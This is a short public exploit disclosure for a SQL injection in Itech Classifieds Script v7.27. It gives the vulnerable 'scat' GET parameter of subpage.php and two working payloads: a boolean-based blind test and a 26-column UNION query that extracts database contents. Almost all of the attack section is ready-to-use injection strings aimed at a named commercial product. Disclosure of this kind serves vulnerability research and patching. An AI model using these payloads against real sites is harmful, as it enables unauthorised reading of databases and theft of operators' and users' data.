Itech Classifieds Script 7.27 - 'scat' SQL Injection

Exploit Title: Itech Classifieds Script v7.27 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/classifieds-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Classifieds Script v7.27 is the best classifieds software. Try this script and present yourself with a robust digital platform.

Type of vulnerability:

An SQL Injection vulnerability in Classifieds Script v7.27 allows attackers to read
arbitrary data from the database.

Vulnerability:

URL : http://localhost/subpage.php?scat=51[payload]

Parameter: scat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: scat=51' AND 4941=4941 AND 'hoCP'='hoCP

    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: scat=51' UNION ALL SELECT CONCAT(0x7162787871,0x6d4d4d63544378716c72467441784342664b4a6f424d615951594f476c53465070635545505a7558,0x716b767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- SKES